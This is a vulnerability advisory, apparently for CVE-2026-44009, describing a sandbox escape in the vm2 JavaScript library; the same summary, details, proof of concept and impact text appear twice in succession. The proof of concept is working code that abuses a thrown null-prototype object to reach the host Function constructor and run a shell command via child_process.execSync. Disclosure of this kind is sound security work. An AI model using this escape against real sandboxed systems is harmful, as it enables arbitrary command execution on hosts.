CVE-2026-44009

### Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details In `handleException` due to ``// SECURITY (post-GHSA-mpf8 hardening): use `from` (not `ensureThis`)`` exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host `Function` object. ### PoC ```js const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run(` const o = {__proto__: null}; try { throw o; } catch (e) { e.f = Buffer.prototype.inspect o.f.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); } `)); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

### Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details In `handleException` due to ``// SECURITY (post-GHSA-mpf8 hardening): use `from` (not `ensureThis`)`` exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host `Function` object. ### PoC ```js const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run(` const o = {__proto__: null}; try { throw o; } catch (e) { e.f = Buffer.prototype.inspect o.f.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); } `)); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.